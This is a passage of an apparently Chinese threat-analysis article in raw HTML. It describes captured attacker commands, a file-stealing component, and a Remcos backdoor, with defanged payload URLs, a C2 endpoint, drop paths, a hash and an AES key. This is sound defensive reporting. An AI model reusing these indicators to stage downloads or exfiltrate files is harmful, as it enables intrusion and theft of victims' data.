src="https://wechat2rss.xlab.app/img-proxy/?k=d4010f63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLOegIPtDZZyc2P9f0mMEDRvwhUPzz8PoVibRTvrVF8YdA6rrUHIv4nAmkB8LRUCjuS8nyWal8BEibTQ0N7EESSx7NBxtSvbkDnM%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1k6x">捕获到攻击者命令有五类：</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgourlv" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">第一类：将</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">taskhost.exe设置为计划任务和启动项</span></span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.13933649289099526" data-w="1055" style="width: 553.74px;height: 77.13px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0645bca1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKfBIbvNia4KSRnrsxcoyPhZzomNnUJJPlHicduzOddszXzllrFiaGdwsJhmbCnn9HjrZdQN47xvEB4Bic4OmFJHDOFXYpkcWibJ7QY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span><o:page></o:page></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1406">第二类：查看系统的信息</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.29295426452410384" data-w="809" style="width: 553.74px;height: 162.2px;" src="https://wechat2rss.xlab.app/img-proxy/?k=77cf4349&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJGYvXD9nHF0Vib3l3JdGzpREcia7N9CicHHE19kzDPwf7Fn0czIzvG0EccWibyDun5iceV4iaPG1VibUFh2I3COEaubqzzNxzu9zqBaU%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgous49">第三类：下载后门组件</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou20o2">url:</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgouwce"><a href="https://domainregistationcheck[.]com/uploads/b1" target="_blank">https://domainregistationcheck[.]com/uploads/b1</a></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou20cw">保存到c:\programdata\usoshared\crsrs.exe</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.12878787878787878" data-w="924" style="width: 553.74px;height: 71.33px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2b8d3173&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLaPorZUs1D0klVN5W9D64ZGicIv9yPiaF3aad5qUQ9JJxnFCWRSGVBhTUZeiamFjKYlv6ojfk85Y2y97QAY4z95kgTQXbsIcO4sg%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou121f">第四类：静默安装python环境，并下载执行py脚本。python的运行环境会被安装到C:\\Python312中。</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" data-remoteid="" data-asynid="" src="http://mmbiz.qpic.cn/mmbiz_png/Emmib7pWXrXIYjc3uDZ02ayFmDvibyAdPm1u85MhYaGOI8iad3eiaSxsljzticViaW7esaBEfL68vV0635DuPs7YluicMjjXldiatmeSxd2k5Jtn11Q/0?wx_fmt=png" data-src="" align="" alt="" border="" class="rich_pages wxw-img" data-ratio="0.24242424242424243" data-s="" data-type="" data-w="891" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="" mpa-font-style="mo19dgoug0s"><span textstyle="" style="color: rgb(136, 136, 136);font-style: italic;">注：未捕获到对应python脚本</span></span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.24242424242424243" data-w="891" style="width: 553.74px;height: 134.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7a0f5ad2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIYjc3uDZ02ayFmDvibyAdPm1u85MhYaGOI8iad3eiaSxsljzticViaW7esaBEfL68vV0635DuPs7YluicMjjXldiatmeSxd2k5Jtn11Q%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou18ck">第五类：下载Remcos后门</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou1dml" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">url:</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> <a href="http://46.30.191[.]221/pw.exe" target="_blank">http://46.30.191[.]221/pw.exe</a></span></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgouqsd">样本被保存到</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou2du">c:\programdata\usoshared\logs\imagingdevices.exe</span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.10526315789473684" data-w="931" style="width: 553.74px;height: 58.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7d5f6eb6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKR1erVR57vB1N7Z1Grb4wy03ElX6sibwX5wqpTjAmKXwm8oqibe5eNdHr9N11VpAxLpJYOpjNlwwf7UCBXMaQG8iazEZDDC9owI4%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="font-weight:bold;"><p style="margin: 16px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou47m"><span textstyle="" style="font-weight: bold;">文件窃密组件</span></span></p></li></ul><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="mo19dgoueqj" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该工具为文件窃密组件，主要功能是用于监测存储设备变更情况，并将存储设备的文件数据同步到C2服务器中。</span></span></p><div style="margin-left: 0;margin-right: 0;"><div><div><div><div><div><div><div><div><p><table style="width:481px;"><tbody><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">MD5</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">d286d439393bde76b734bd3406628d47</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件名称</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">crsrs.exe</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">39.5 KB (40448 bytes)</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件类型</span></span></p></td><td data-colwidth="354"><p data-mpa-action-id="mo2jakcn11um"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">exe</span></span></span></p></td></tr></tbody></table></p></div></div></div><p style="text-indent: 2em;"><span leaf="">1）样本检查互斥体和第一个命令行参数。</span></p></div></div></div></div></div></div><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.10171428571428572" data-w="875" style="width: 553.74px;height: 56.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=245361ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLD9SbkUCxWiak2W3LgMSSicpm0n5JFolkEiaNwuZ1mTQrxY4dicbTyGM8uyAq32DjdFQOKbj4icrpeRM7mUCOp26BiceRica1nWphbJ4%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou1w29" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本采用异步的方式进行通信和执行任务。</span></span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2850574712643678" data-w="870" style="width: 553.74px;height: 157.8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bbf4a7ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKRaQh7UKCB5fOADcJKKvfMibngUefOib0CYtRxVKrwpVuefVxLSQyTNrTfT5VMZia5mOgwdic9f20iamibzYAMibvazwGa7yC6UBzElQ%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou1sed" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本连接C2:</span></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1hbs"><a href="https://151.236.4[.]164:5010/get_sync_hash_table/(AES加密的计算机名_用户名)" target="_blank">https://151.236.4[.]164:5010/get_sync_hash_table/(AES加密的计算机名_用户名)</a></span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6333333333333333" data-w="780" style="width: 553.74px;height: 350.74px;" src="https://wechat2rss.xlab.app/img-proxy/?k=26968dea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJuhZekpahZraibj3JNZ63Yn5XzJ4DUMOW2MvescCsFhNu3AibAIbv1lib92iaI3gGcwL6rcMgaJQ9Zbx2NEI2zAo5FwKposE5NxzY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1kfd">AES key：</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgouoid">8802304DE46385A3672730C3539BC25B38930077AE9D9FF46E05D63409DFBCBB</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3609467455621302" data-w="845" style="width: 553.74px;height: 199.87px;" 